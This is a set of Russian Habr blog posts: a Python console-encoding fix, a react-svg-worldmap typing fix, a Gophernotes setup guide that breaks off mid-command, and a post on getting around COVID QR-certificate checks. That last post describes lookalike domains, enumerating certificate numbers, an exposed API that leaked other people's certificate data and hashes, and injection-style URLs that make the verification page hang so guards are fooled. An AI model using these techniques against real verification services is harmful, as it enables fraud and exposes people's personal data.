getconfig(d) getconfig(c) entry(...) finish() : d+c = double 34 getconfig(d) getconfig(d) entry(...) finish() : d+d = double 44 getconfig(d) getconfig(e) bad type getconfig(e) bad type getconfig(e) bad type getconfig(e) bad type getconfig(e) bad type getconfig(e) bad type ``` #### To be continued... Конечно, мы здесь не попробовали сделать очень многое: 1. возвращать значение через return 2. возвращать значение через присваивание в out-параметр 3. поиграть с большей глубиной частичного применения — это понадобится, если будем писать трёхместную функцию entry(X,Y,Z, Kont) Тем более, мы не стали делать красивости, чтобы можно было создавать конвеер продолжений (в стиле >>= или do-нотации Хаскелла, где продолжения суть монада). И уж тем более, не добрались до такой важной вещи, как произвольное управление ходом программы и созданием сопрограмм, — то, чем как раз CPS славится. Но, поскольку статья о продолжениях, — попробуйте продолжить эту тему.
https://habr.com/ru/post/232979/
null
ru
null
# Как я боролся с кодировками в консоли В очередной раз запустив в Windows свой скрипт-информер для [СамИздат-а](http://zhurnal.lib.ru) и увидев в консоли [«загадочные символы»](http://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B0%D0%BA%D0%BE%D0%B7%D1%8F%D0%B1%D1%80%D1%8B) я сказал себе: «Да уже сделай, наконец, себе нормальный кросс-платформенный логгинг!» Об этом, и о том, как раскрасить вывод лога наподобие Django-вского в Win32 я попробую рассказать под хабра-катом (Всё ниженаписанное применимо к Python 2.x ветке) ##### Задача первая. Корректный вывод текста в консоль ###### Симптомы До тех пор, пока мы не вносим каких-либо «поправок» в проинициализировавшуюся систему ввода-вывода и используем только оператор *print* с unicode строками, всё идёт более-менее нормально вне зависимости от ОС. «Чудеса» начинаются дальше — если мы поменяли какие-либо кодировки (см. чуть дальше) или воспользовались модулем logging для вывода на экран. Вроде бы настроив ожидаемое поведение в Linux, в Windows получаешь «мусор» в utf-8. Начинаешь править под Win — вылезает 1251 в консоли… ###### Теоретический экскурс За параметры преобразования символов и вывода их в консоль отвечают сразу несколько параметров: * Кодировка по-умолчанию модуля `sys` — `sys.getdefaultencoding()` * Предпочитаемая кодировка для текущей локали — `locale.getpreferredencoding()` * Кодировка стандартных потоков `sys.stdout, sys.stderr` * Кое-какую смуту вносит и кодировка самого файла, но договоримся, что у нас всё унифицировано и все файлы в utf-8 и содержат корректный заголовок * «Бонусом» идёт любовь стандартных потоков выдавать исключения, если, даже при корректно установленной кодировке, не найдётся нужного символа при печати unicode строки ###### Ищем решение Очевидно, чтобы избавиться от всех этих проблем, надо как-то привести их к единообразию. И вот тут начинается самое интересное: ``` # -*- coding: utf-8 -*- >>> import sys >>> import locale >>> print sys.getdefaultencoding() ascii >>> print locale.getpreferredencoding() # linux UTF-8 >>> print locale.getpreferredencoding() # win32/rus cp1251 # и самое интересное: >>> print sys.stdout.encoding # linux UTF-8 >>> print sys.stdout.encoding # win32 cp866 ``` Ага! Оказывается «система» у нас живёт вообще в ASCII. Как следствие — попытка по-простому работать с вводом/выводом заканчивается «любимым» исключением `UnicodeEncodeError/UnicodeDecodeError`. Кроме того, как замечательно видно из примера, если в linux у нас везде utf-8, то в Windows — две разных кодировки — так называемая ANSI, она же cp1251, используемая для графической части и OEM, она же cp866, для вывода текста в консоли. OEM кодировка пришла к нам со времён DOS-а и, теоретически, может быть также перенастроена специальными командами, но на практике никто этого давно не делает. До недавнего времени я пользовался распространённым способом исправить эту неприятность: ``` #!/usr/bin/env python # -*- coding: utf-8 -*- # ============== # Main script file # ============== import sys reload(sys) sys.setdefaultencoding('utf-8') # или import locale sys.setdefaultencoding(locale.getpreferredencoding()) # ... ``` И это, в общем-то, работало. Работало до тех пор, пока пользовался `print`-ом. При переходе к выводу на экран через `logging` всё сломалось. Угу, подумал я, раз «оно» использует кодировку по-умолчанию, — выставлю-ка я ту же кодировку, что в консоли: ``` sys.setdefaultencoding(sys.stdout.encoding or sys.stderr.encoding) ``` Уже чуть лучше, но: * В Win32 текст печатается кракозябрами, явно напоминающими cp1251 * При запуске с перенаправленным выводом опять получаем не то, что ожидалось * Периодически, при попытке напечатать текст, где есть преобразованный в unicode символ типа ① (`①`), «любезно» добавленный автором в какой-нибудь заголовок, снова получаем `UnicodeEncodeError`! Присмотревшись к первому примеру, нетрудно заметить, что так желаемую кодировку «cp866» можно получить только проверив атрибут соответствующего потока. А он далеко не всегда оказывается доступен. Вторая часть задачи — оставить системную кодировку в utf-8, но корректно настроить вывод в консоль. Для индивидуальной настройки вывода надо переопределить обработку выходных потоков примерно так: ``` import sys import codecs sys.stdout = codecs.getwriter('cp866')(sys.stdout,'replace') ``` Этот код позволяет убить двух зайцев — выставить нужную кодировку и защититься от исключений при печати всяких умляутов и прочей типографики, отсутствующей в 255 символах cp866. Осталось сделать этот код универсальным — откуда мне знать OEM кодировку на произвольном сферическом компе? Гугление на предмет готовой поддержки ANSI/OEM кодировок в python ничего разумного не дало, посему пришлось немного вспомнить WinAPI ``` UINT GetOEMCP(void); // Возвращает системную OEM кодовую страницу как число UINT GetANSICP(void); // то же для ANSI кодовой странцы ``` … и собрать всё вместе: ``` # -*- coding: utf-8 -*- import sys import codecs def setup_console(sys_enc="utf-8"): reload(sys) try: # для win32 вызываем системную библиотечную функцию if sys.platform.startswith("win"): import ctypes enc = "cp%d" % ctypes.windll.kernel32.GetOEMCP() #TODO: проверить на win64/python64 else: # для Linux всё, кажется, есть и так enc = (sys.stdout.encoding if sys.stdout.isatty() else sys.stderr.encoding if sys.stderr.isatty() else sys.getfilesystemencoding() or sys_enc) # кодировка для sys sys.setdefaultencoding(sys_enc) # переопределяем стандартные потоки вывода, если они не перенаправлены if sys.stdout.isatty() and sys.stdout.encoding != enc: sys.stdout = codecs.getwriter(enc)(sys.stdout, 'replace') if sys.stderr.isatty() and sys.stderr.encoding != enc: sys.stderr = codecs.getwriter(enc)(sys.stderr, 'replace') except: pass # Ошибка? Всё равно какая - работаем по-старому... ``` ##### Задача вторая. Раскрашиваем вывод Насмотревшись на отладочный вывод Джанги в связке с werkzeug, захотелось чего-то подобного для себя. [Гугление](http://www.google.com/search?q=python+colored+logging) выдаёт несколько проектов разной степени проработки и удобности — от простейшего наследника `logging.StreamHandler`, до некоего набора, при импорте автоматически подменяющего стандартный StreamHandler. Попробовав несколько из них, я, в итоге, воспользовался простейшим наследником StreamHandler, приведённом в одном из комментов на [Stack Overflow](http://stackoverflow.com/questions/384076/how-can-i-make-the-python-logging-output-to-be-colored) и пока вполне доволен: ``` class ColoredHandler( logging.StreamHandler ): def emit( self, record ): # Need to make a actual copy of the record # to prevent altering the message for other loggers myrecord = copy.copy( record ) levelno = myrecord.levelno if( levelno >= 50 ): # CRITICAL / FATAL color = '\x1b[31;1m' # red elif( levelno >= 40 ): # ERROR color = '\x1b[31m' # red elif( levelno >= 30 ): # WARNING color = '\x1b[33m' # yellow elif( levelno >= 20 ): # INFO color = '\x1b[32m' # green elif( levelno >= 10 ): # DEBUG color = '\x1b[35m' # pink else: # NOTSET and anything else color = '\x1b[0m' # normal myrecord.msg = (u"%s%s%s" % (color, myrecord.msg, '\x1b[0m')).encode('utf-8') # normal logging.StreamHandler.emit( self, myrecord ) ``` Однако, в Windows всё это работать, разумеется, отказалось. И если раньше можно было «включить» поддержку ansi-кодов в консоли добавлением «магического» ansi.dll из проекта symfony куда-то в недра системных папок винды, то, начиная (кажется) с Windows 7 данная возможность окончательно «выпилена» из системы. Да и заставлять юзера копировать какую-то dll в системную папку тоже как-то «не кошерно». Снова обращаемся к гуглу и, снова, получаем несколько вариантов решения. Все варианты так или иначе сводятся к подмене вывода ANSI escape-последовательностей вызовом WinAPI для управления атрибутами консоли. Побродив некоторое время по ссылкам, набрёл на проект [colorama](http://pypi.python.org/pypi/colorama). Он как-то понравился мне больше остального. К плюсам именно этого проекта ст́оит отнести, что подменяется весь консольный вывод — можно выводить раскрашенный текст простым `print u"\x1b[31;40mЧто-то красное на чёрном\x1b[0m"` если вдруг захочется поизвращаться. Сразу замечу, что текущая версия 0.1.18 содержит досадный [баг](http://code.google.com/p/colorama/issues/detail?id=21), ломающий вывод unicode строк. Но простейшее решение я привёл там же при создании issue. Собственно осталось объединить оба пожелания и начать пользоваться вместо традиционных «костылей»: ``` # -*- coding: utf-8 -*- import sys import codecs import copy import logging #: Is ANSI printing available ansi = not sys.platform.startswith("win") def setup_console(sys_enc='utf-8', use_colorama=True): """ Set sys.defaultencoding to `sys_enc` and update stdout/stderr writers to corresponding encoding .. note:: For Win32 the OEM console encoding will be used istead of `sys_enc` """ global ansi reload(sys) try: if sys.platform.startswith("win"): #... код, показанный выше if use_colorama and sys.platform.startswith("win"): try: # пробуем подключить colorama для винды и взводим флаг `ansi`, если всё получилось from colorama import init init() ansi = True except: pass class ColoredHandler( logging.StreamHandler ): def emit( self, record ): # Need to make a actual copy of the record # to prevent altering the message for other loggers myrecord = copy.copy( record ) levelno = myrecord.levelno if( levelno >= 50 ): # CRITICAL / FATAL color = '\x1b[31;1m' # red elif( levelno >= 40 ): # ERROR color = '\x1b[31m' # red elif( levelno >= 30 ): # WARNING color = '\x1b[33m' # yellow elif( levelno >= 20 ): # INFO color = '\x1b[32m' # green elif( levelno >= 10 ): # DEBUG color = '\x1b[35m' # pink else: # NOTSET and anything else color = '\x1b[0m' # normal myrecord.msg = (u"%s%s%s" % (color, myrecord.msg, '\x1b[0m')).encode('utf-8') # normal logging.StreamHandler.emit( self, myrecord ) ``` Дальше в своём проекте, в запускаемом файле пользуемся: ``` #!/usr/bin/env python # -*- coding: utf-8 -*- from setupcon import setup_console setup_console('utf-8', False) #... # или если будем пользоваться раскрашиванием логов import setupcon setupcon.setup_console() import logging #... if setupcon.ansi: logging.getLogger().addHandler(setupcon.ColoredHandler()) ``` На этом всё. Из потенциальных доработок осталось проверить работоспособность под win64 python и, возможно, добаботать ColoredHandler чтобы проверял себя на isatty, как в более сложных примерах на том же StackOverflow. Итоговый вариант получившегося модуля можно забрать на [dumpz.org](http://dumpz.org/47667/)
https://habr.com/ru/post/117236/
null
ru
null
# Библиотека react-svg-worlmap, ошибка в типах данных ### Введение В одном переданном проекте на NextJs и typescript, попалась “интересная” ошибка при использовании библиотеки react-svg-worldmap. Для решения ошибки, пришлось обращаться к разработчику библиотеки. ### О библиотеке react-svg-worldmap Данная библиотека - [github](https://github.com/yanivam/react-svg-worldmap), используется для отображения карты мира, и как я понял в основном используется для вывода статистики. У нее 1049 скачиваний в неделю [NPM](https://www.npmjs.com/package/react-svg-worldmap) ![При наведении на страну, выводится подсказка с названием страны и суммой ВВП.](https://habrastorage.org/getpro/habr/upload_files/122/ee6/444/122ee6444aa4e41327fffa1a573a6568.gif "При наведении на страну, выводится подсказка с названием страны и суммой ВВП.")При наведении на страну, выводится подсказка с названием страны и суммой ВВП.В основном пропсе data данной библиотеки ожидается массив - страна и число, для подсветки страны и вывода данных при наведении ``` // Тип данных принимаемых в пропс data type DataItem = { country: ISOCode; value: number; }; // Передаваемые данные в пропс data const data = [ {country: 'cn', value: 1389618778}, // china {country: 'in', value: 1311559204}, // india {country: 'us', value: 331883986}, // united states {country: 'id', value: 264935824}, // indonesia {country: 'pk', value: 210797836}, // pakistan {country: 'br', value: 210301591}, // brazil {country: 'ng', value: 208679114}, // nigeria {country: 'bd', value: 161062905}, // bangladesh {country: 'ru', value: 141944641}, // russia {country: 'mx', value: 127318112}, // mexico ]; ``` ### Проект не билдится локально, но работает на сервере В моем случае, в проекте требовалось выводить: Название страны, и текст. Предыдущий разработчик решил данное требование довольно ~~оригинально~~ просто, напрямую передав в пропс data - в массиве: название страны и текст. И на сервере, при наведении - успешно выводил Название страны и текст. ``` const data = [ {country: 'cn', value: 'Густонаселенная страна'}, // china {country: 'in', value: 'Слоны' }, // india {country: 'us', value: 'Кремниевая долина'}, // united states ]; ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/130/f28/bc9/130f28bc9ac9d67d7050d5f07fa37478.png)Но у меня после скачивания из репозитория, и развертывания проект не билдился, выдавая ошибку, что в пропс data - переданы некорректные данные. Что логично - так как в массиве должно быть - страна (тип string) и число (тип number) ``` npm run build Failed to compile. ./src/components/templates/map/component.tsx:51:29 Type error: Type '{ country: string; value: string; }[]' is not assignable to type 'IData[]'. Type '{ country: string; value: string; }' is not assignable to type 'IData'. Types of property 'value' are incompatible. Type 'string' is not assignable to type 'number'. title="" size="xl" data={translation.data} ^ valuePrefix=":" tooltipBgColor="white" tooltipTextColor="blue" ``` В React/NextJs новичок. И хотя понимаю ошибку - что переданный параметр использует неверный тип, не понимал, как ранее проект билдился и работал на сервере. Прочитал документацию библиотеки, ясно вижу, что ожидаются данные в формате - страна, число. В проекте передаются некорректные данные, но тогда почему проект успешно билдился? После поисков, я ~~был удивлен~~ понял - предыдущий разработчик, после установки, менял в коде библиотеки, в папке node\_modules/react-svg-worldmap/dist - принимаемый тип для второго параметра - с number на string. После чего билд проходил без ошибок. ``` // node_modules\\react-svg-worldmap\\dist\\WorldMap.d.ts interface IData { country: string; value: string; // number; } ``` Полагаю, что разработчик до меня, сперва пытался сделать правильно. Но пошел по легкому пути, библиотека проста и в примерах использовалась для вывода статистики. Поэтому применил подобный ~~угадайкак~~ способ. Теперь понимая почему проект не билдился, получил ситуацию: * что менять код в скомпилированной библиотеки в папке dist - не вариант (wrong way). * Использовать другую библиотеку - нежелательно. * Решать задачу по выводу названию страны и текста при наведении - надо. Подумал, что точно кто-то еще сталкивался с подобной проблемой при использовании данной библиотеки, и наверняка другие разработчики справились. И тогда ~~обратился к Вселенскому разуму~~ написал issue запрос к разработчику библиотеки, с предложением добавить дополнительное поле, для возможности добавлять текст или просьбой подсказать способ вывода текста в подсказке при наведении. К своему удивлению, довольно быстро (через пару часов) получил ответ, что уже существует параметр `tooltipTextFunction`, указали прямую ссылку на документацию с примером  <https://yanivam.github.io/react-svg-worldmap/examples/localization> . За что им очень благодарен. Сам я на эту документацию не наткнулся, т.к читал только код в репозитарии (к стыду, я затем нашел что и там все же был указан этот пропс, но я проглядел). #### Решение, которое я использовал В моем случае данные с нужным текстом подтягивались из json файла, на разных языках, поэтому их требовалось предварительно заносить в массив в нужном формате. ``` // файл с переводом src\\locales\\ru.ts const data = [ {country: 'cn', value: 1389618778}, // china {country: 'in', value: 1311559204}, // india {country: 'us', value: 331883986}, // united states ]; const dataTranslation= [ {country: 'cn', value: 'Густонаселенная страна'}, // china {country: 'in', value: 'Слоны' }, // india {country: 'us', value: 'Кремниевая долина'}, // united states ]; // файл ./src/components/templates/map/component.tsx // заносим текст с переводом в массив let localizedArray = [] for (var val of translation.dataTranslation) { localizedArray.push([val.country, val.value]) } const localizedCountryDictionary: Map> = new Map(localizedArray); // возвращаем результат локализации // localization callback const getLocalizedText = (countryCode, countryValue, prefix, suffix) => { const localizedCountryName = localizedCountryDictionary.has( countryValue.toLowerCase(), ) ? localizedCountryDictionary.get(countryValue.toLowerCase()) : 'Unknown'; const russianTranlation = countryCode + ': ' + localizedCountryName return russianTranlation; }; // код компонента с параметром ``` Суть решения, в том что в передаваемом props data - передаются корректные данные в формате - Страна, число. Затем в зависимости от страны, по коду страны выводится подсказка. А подсказка выводится, через пропс `tooltipTextFunction` и getLocalizedText которая предварительно берет данные из файла требуемой локали и выводит в формате string. Само решение было на виду - причем указано в документации, но я не видел, так как рассматривал в контексте - передаю в props data - страну и текст, хочу получить подсказку с текстом. Вместо, **задача выводить в подсказке при наведении на страну требуемый текст**. ### Выводы: * Если используется костыль - указывать в комментарии, чтобы не тратить время на поиск ошибки. Навряд ли легко догадаться, что то кто-то меняет код в папке dist библиотеки после установки. * Рассматривать в контексте - какая задача стоит, и как решить задачу. А не “как вылечить эту ошибку”. * На том конце гитхаба - разработчики библиотек, участники проекта это живые люди. Они существуют, и могут подсказать. В этом сила комьюнити. * Рассматривать ошибку - в контексте, как решить задачу, а не избавиться от ошибки. Спасибо за то, что дочитали. Надеюсь пригодится и натолкнет на мысли.
https://habr.com/ru/post/649733/
null
ru
null
# О QR-кодах и социальной инженерии > Новости из будущего: > Группа анонимных хакеров придумала QR-код о вакцинации, которая вешает программу для его сканирования. > > © Башорг > — Рабинович, вы уклонялись от уплаты налогов так, как рассказывал прокурор? > — Совсем нет. Но его схема таки тоже заслуживает внимания. > > © Фольклор Привет, Хабр. В этом посте я хочу немного рассказать о том, как люди пытались дурить систему ковидных QR-кодов в России. Часть методов общеизвестна, часть — не так популярна, некоторые векторы атаки открыты до сих пор, разве что актуальность уже не та. За скобками останется совсем уж криминал вроде покупки сертификата или так называемого «укола в ватку», рассматривать я буду лишь методы, не требующие ничего, кроме компьютера и чуток ~~лихости~~ наглости. Кратко напомню, что представляет собой QR-код российского ковид-сертификата. В нем содержится не что иное, как ссылка определенного формата. Использовались как местные государственные сайты (mos.ru), так и федеральные (gosuslugi.ru). Речь далее пойдет именно о госуслугах. О форматахВсего форматов ссылок на ковид-сертификаты было три: 1. `https://www.gosuslugi.ru/vaccine/cert/verify/unrz/{{unrz}}`. Эти коды выдавались с самого начала. `{{unrz}}` расшифровывается как «уникальный номер реестровой записи» или, проще говоря, номер сертификата. 2. `https://www.gosuslugi.ru/covid-cert/verify/9{{unrz}}?ck={{hash}}`. Такие коды стали выдавать в июне 2021 года. Обратите внимание на цифру 9 перед `{{unrz}}`. Это показатель того, что сертификат — именно вакцинированного, а не переболевшего (цифра 8), не об анализе на COVID-19 (цифра 7), не о наличии антител (цифра 6), не является каким-то временным сертификатом (цифра 4), что бы это ни значило. `{{hash}}` — это, по-видимому, некая контрольная сумма, но берущаяся непонятно от чего. При замене хеша сертификат не отображался. Судя по всему, хеши вводились для защиты от предъявления чужих кодов. О том, сильно ли это помогло, мы поговорим ниже. 3. `https://www.gosuslugi.ru/covid-cert/status/{{uuid}}`. Третий формат кодов ввели в ноябре 2021 года, а в январе 2022 года перевели граждан на него принудительно: все предыдущие ссылки стали недействительными. Переход мог быть связан с крупной утечкой кодов старых форматов. Собственные домены ------------------ Первым и очевидным решением от людей, которые не могли или не хотели показывать «легальные» QR-коды, стали фальшивые сертификаты, размещенные на собственных доменах. Основных подходов было два: завести на своем домене `vasyan.ru` поддомен в духе `gosuslugi.ru.covid-cert.verify.vasyan.ru`, либо завести отдельный домен в духе `gosuslugl.ru`. Первый вариант обычно использовался «для себя», второй чаще использовали мутные торгаши, которые предлагали за скромную сумму в несколько тысяч рублей завести персональную страничку на таком сайте. Долго так продолжаться не могло. Власти практически сразу же стали стращать ~~анальными карами~~ штрафами как тех, кто предъявляет что попало, так и тех, кто невнимательно проверяет глазами доменные имена. Чуть позже власти выпустили официальное приложение с автоматической проверкой домена, которое на домен `vasyan.ru` уже не ходило. Добыча чужих QR-кодов --------------------- Дальше интереснее. УНРЗ формировался как склейка номера региона и номера самого сертификата. Самый населенный и вакцинированный регион — это Москва, т.е. 77-й регион. А вот нумерация самих сертификатов была сквозной, т.е. шла просто по порядку. Подробнее можно почитать в неплохом расследовании [Медузы](https://meduza.io/feature/2021/08/04/my-esche-raz-prismotrelis-k-registru-bolnyh-kovidom-tomu-gde-29-millionov-zapisey-okazalos-vlasti-obmanyvayut-ne-tolko-nas-no-i-sebya). Таким образом, пока работала первая версия сертификатов, можно было взять номер самого населенного региона (77) и пойти добывать сертификаты обычным перебором. Может возникнуть закономерный вопрос: как же пользоваться чужим QR-сертификатом? Ведь есть еще и второй фактор в виде паспорта. Действительно, в теории паспорт как второй фактор требовался всюду. На практике же этого не было и близко. В одних местах годился любой документ с датой рождения, в других местах проверяющие довольствовались даже фотографией или ксерокопией паспорта. Это само по себе открывало обширные возможности по использованию фотошопа, хотя мы такого и не одобряем. Ну а в третьих местах второй фактор не требовали вовсе. О том, почему это сводит на нет всю затею, была хорошая [статья](https://habr.com/ru/post/587400/) в ноябре. Другой вариант майнингаТакже высказывалась не самая технологичная, но совершенно восхитительная по дерзости идея — надеть форму охранника, встать у входа в какой-нибудь ТЦ, просить предъявлять коды и фотографировать их на телефон. Есть подозрение, что такое могло бы сработать и в этих ваших Европах и Америках с высокотехнологичными криптографическими кодами. Я в этих странах бывал мало, но где бывал, с проверкой второго фактора дела обстояли ровно так же, как и в России. Добыча кодов второй версии -------------------------- По идее, наличие второй версии ссылок должно было положить конец майнингу кодов путем перебора. В самом деле: на то, чтобы добыть хеш для конкретного номера сертификата, требуются буквально космические мощности. Но вот беда — API для получения сертификатов первой версии прикрыто не было. И по какой-то причине через него можно было получить доступ как минимум к части сертификатов, выпущенных уже после июня 2021 года. Если пройти по ссылке первого вида и включить отладчик, можно увидеть обращение к вот такому адресу: `https://www.gosuslugi.ru/api/vaccine/v1/cert/verify//unrz/{{unrz}}`. Сейчас по нему, правда, отдается ошибка, однако раньше в случае корректного УНРЗ отдавался вполне себе JSON вот такого вида: Ответ от API v1`{ "unrz":"9770000022021488", "fio":"П**** В******* В***********", "enFio":"P**** V******* V************", "birthdate":"20.04.1889", "doc":"12** ***890", "enDoc":"", "stuff":"Гам-КОВИД-Вак Комбинированная векторная вакцина для профилактики коронавирусной инфекции, вызываемой вирусом SARS-CoV-2", "enStuff":"Gam-COVID-Vac (“Sputnik V”), combined heterologous recombinant adenovirus (rAd)-based vaccine for prophylaxis of coronavirus infectious diseases caused by SARS-CoV-2", "singlePhase":"N", "vcSeries":"ll-123456", "lastName":"", "expiredAt":"24.02.2022", "status":"1", "en":false, "qr":"`iVBORw0KGgoAAAANSUhEUgAAAHsAAAB7AQMAAABuCW08AAAABlBMVEUAAAD///+l2Z/dAAAAAnRSTlP//8i138cAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAF0SURBVEiJ1dWxjYUwDAZgoxTpYIFIWSNdViILwMsCj5XoskakLBA6igifA8chXROfdMUdonj6iof5HRvAbxf8Z8gAoxRvE90KHQ82LA7R7xoD/ebBqiZZhr24AI4PRnhUPwKHIkvh+YBlNPRYXJ7SG0B5uKDq/QTUALo2jJOM89OGBmRJeSdKvQfteUDVvSw9VmcDAw8OS8+k9irq8MIEEH4lS7hflbYB1wIyAohXbRcLDis2inwvvbwrbcH5TjCskWDmAYa0hDhaQWV6JiDlTamXDgXy4DD6bdWwlt5cjWrDhpR3HbuXvDvXgsOIQ9JNJyh2TIAIVp3FqoEJdXQoD9XLz9KbkE0ZbZksjPZuVAswaB/o+KRDlo4HGcpkEs03gEYe1JkL6gzjWgZtoMme6kCULtx/2oK6C6lMmzx+rZwWnLuwNymDmtkw75FWzgjXzLHAoabjMITomFD3esqW8igzD+rXA9KyAm2pjQe/8Vn7G/ABJ3g+P8H1+/gAAAAASUVORK5CYII=`" }` Обратите внимание на поле `qr`. В нем при помощи base64 кодировалось изображение QR-кода со ссылкой на сертификат **второй** версии. Т.е. можно было, зная один лишь только УНРЗ, получить его секретный хеш! До этого наверняка дошли не все «майнеры», но их было явно больше нуля. Долго это все продолжаться не могло, и в конечном итоге огромная база кодов [была слита](https://habr.com/ru/post/650589/) в Интернет. Я полагаю, что дело все же в инсайде: майнить несколько миллиардов кодов — дело непростое и небыстрое, а толку от полученных данных, будем честными, не слишком много. Кроме того, чтобы не положить сервис госуслуг, явно пришлось бы еще и размазывать обращения во времени и пространстве. Организация ради *этих* данных мощного ботнета не выглядит самым рентабельным на свете мероприятием. Так или иначе, все коды, которые существовали до января, были отменены буквально в один день, а вместо старых QR-кодов всем выдали новые, третьей версии. «Честные» коды с необычным поведением ------------------------------------- UUID, как и секретный хеш, перебору за разумное время не поддается. Назревает идея попытки эксплуатации XSS, которая бы позволила заменить информацию в сертификате на нужную. В чистом виде такая идея у моего знакомого исследователя не сработала, однако было замечено несколько интересных моментов: 1. Самая брутальная и примитивная попытка режется защитой от XSS и выдает ошибку. При этом никакой конкретной информации не дается, сайт не сообщает о попытке взлома, но и как валидный запрос трактовать [обращение](https://www.gosuslugi.ru/covid-cert/status/f0407259-393b-430b-5ca3-3a310accb538?lang=<script) не спешит. 2. Некорректный UUID возвращает, как и следовало ожидать, Bad Request. Однако на [странице ответа](https://www.gosuslugi.ru/covid-cert/status/8ea97098-430s-4343-t8e6-r32e85g2545g) написано о недоступности сервиса. Где-то здесь уже можно почуять серьезные возможности для социальной инженерии. Но внезапная недоступность такого важного сервиса все же может показаться странной проверяющему. Вот бы были еще какие-нибудь предварительные «звоночки» для усыпления бдительности… 3. И их, как выяснилось, можно организовать. Если отправить [&%7B()%7D" rel="noopener noreferrer nofollow">чуть более хитрый запрос](https://www.gosuslugi.ru/covid-cert/status/2a7f4284-844e-43f5-389e-2e16f1ce8c31?lang=%27OR%27%27), то защита отдаст ошибку (ту же, что в первом пункте) при загрузке не целого документа, а одного из его компонентов. Это приводит к любопытному эффекту: гифка, которая изображает загрузку сайта, не сменяется показом сертификата, что создает впечатление того, что сайт завис. По словам знакомого, после предъявления кода с вечной загрузкой, а потом — с недоступностью сервиса, терялись даже бывалые вахтеры. Обычно, впрочем, хватало и одного только «вечного» варианта. Рассказывали также еще об одном забавном случае, когда вахтер сообщил, что надо было полностью сертификат выкачивать на телефон, а не только QR-код с монитора фотографировать. Потому что сфотографировали с кривой перспективы, вот код и сбоит :) Заключение ---------- На полноту обзора методов в таком щекотливом вопросе претендовать сложно. Не исключаю, что эксплуатация XSS у кого-нибудь все же увенчалась успехом. Или, может, кто-то и вовсе нашел способ попасть в базу QR-кодов напрямую. Но что-то нетривиальное, я надеюсь, в статье все же было. В конечном счете, это все теперь неактуально: как известно, мы в очередной раз окончательно победили коронавирус, и все ограничения были сняты. Вся информация предоставлена исключительно для ознакомительных целей и все такое. Не болейте, берегите себя и своих близких.
https://habr.com/ru/post/667068/
null
ru
null
# Запускаем Golang на Jupyter Notebook ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/11d/703/65f/11d70365fc187a3ad8422135305ff3e3.jpeg)Если вы знакомы с Python, то уже сталкивались с Jupyter Notebook или работали в нём по крайней мере один раз. Jupyter Notebook — это удобный инструмент, позволяющий писать мини-код и отслеживать его выполнение. Он также помогает в документировании, ведении журнала и в том, чтобы поделиться своими работами с коллегами. Неудивительно, что многие люди и крупные организации, такие как Netflix, для своих целей в разработке [предпочитают](https://netflixtechblog.com/notebook-innovation-591ee3221233) Jupyter Notebook. Специально к старту нового потока [курса по разработке на Go](https://skillfactory.ru/golang-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GO&utm_term=regular&utm_content=130521) 26 мая мы решили поделиться переводом, автор которого рассказывает, как документировать проекты на Golang в Jupyter Notebook. --- > Если вы работаете на машине с Windows, потребуется установка Docker. Пожалуйста, следуйте этим [инструкциям](https://docs.docker.com/get-docker/). Если вы работаете на Mac или Linux, вы можете либо использовать метод с docker выше, либо следовать процессам локальной установки, о которых я напишу ниже. > > **Содержание** 1. Установка. 2. Запуск Jupyter Notebook. 3. Написание простой программы. Установка --------- Установка может показаться сложной, но я постараюсь сделать её как можно проще. Если при настройке вы столкнулись с какими-либо трудностями, пожалуйста, обратитесь к [FAQ](https://github.com/gopherdata/gophernotes#troubleshooting) по устранению неполадок gophernote. Я приведу три основных метода установки, хотя сам рекомендовал бы подход с **\*Docker\***, поскольку он не зависит от операционной системы, то есть сможет работать на любой операционной системе. ### 1. Докер (рекомендация) Вот основная команда: ``` $ docker run -it -p 8888:8888 -v /path/to/local/notebooks:/path/to/notebooks/in/docker gopherdata/gophernotes:latest-ds ``` Тег *latest-ds* указывает докеру, чтобы он извлёк версию пакета gophernotes, где уже установленные библиотеки Data Science, такие как GoNum, GoLearn и GoDa. Команда на вашей машине может выглядеть так: ``` $ docker run -it -p 8888:8888 -v /home/user/Documents/notebook:/notebook gopherdata/gophernotes:latest-ds ``` Затем вам будут предоставлены URL-адрес локального хоста подключённого блокнота и соответствующий ему токен. Скопируйте и вставьте его в свой браузер (например *localhost:8888/?token=*). ![Успешное монтирование Notebok в Docker (изображение от автора)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d89/f00/ced/d89f00ced2fdbe2f5eb323da5d65d2dc.png "Успешное монтирование Notebok в Docker (изображение от автора)")Успешное монтирование Notebok в Docker (изображение от автора)Кроме того, вы сможете увидеть папку **notebook**, которую указали при инициализации контейнера docker в браузере. ![Папка блокнота, которую вы указали, когда инициализировали Docker (изображение от автора)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f99/191/159/f9919115966a469d42e16141f22162d3.png "Папка блокнота, которую вы указали, когда инициализировали Docker (изображение от автора)")Папка блокнота, которую вы указали, когда инициализировали Docker (изображение от автора) > Следуйте приведённым ниже инструкциям, если предпочитаете локальную установку. Однако они работают только для Linux и Mac. Машины с Windows в настоящее время не поддерживаются, и вы должны использовать вышеупомянутый метод Docker. > > ### 2. Linux Вот команды локальной установки для Linux: ``` $ env GO111MODULE=on go get github.com/gopherdata/gophernotes $ mkdir -p ~/.local/share/jupyter/kernels/gophernotes $ cd ~/.local/share/jupyter/kernels/gophernotes $ cp "$(go env GOPATH)"/pkg/mod/github.com/gopherdata/gophernotes@v0.7.2/kernel/* "." $ chmod +w ./kernel.json # in case copied kernel.json has no write permission $ sed "s|gophernotes|$(go env GOPATH)/bin/gophernotes|" < kernel.json.in > kernel.json ``` При успешной установке не будет распечатано никаких сообщений об ошибках. Подтвердить установку можно, выполнив следующие действия. ``` $ "$(go env GOPATH)"/bin/gophernotes ``` И вы сможете открыть блокнот этой командой: ``` $ jupyter --data-dir ``` ### 3. Mac Аналогично локальную установку для Mac можно выполнить, написав в терминале следующие команды: ``` $ env GO111MODULE=on go get github.com/gopherdata/gophernotes $ mkdir -p ~/Library/Jupyter/kernels/gophernotes $ cd ~/Library/Jupyter/kernels/gophernotes $ cp "$(go env GOPATH)"/pkg/mod/github.com/gopherdata/gophernotes@v0.7.2/kernel/* "." $ chmod +w ./kernel.json # in case copied kernel.json has no write permission $ sed "s|gophernotes|$(go env GOPATH)/bin/gophernotes|" < kernel.json.in > kernel.json 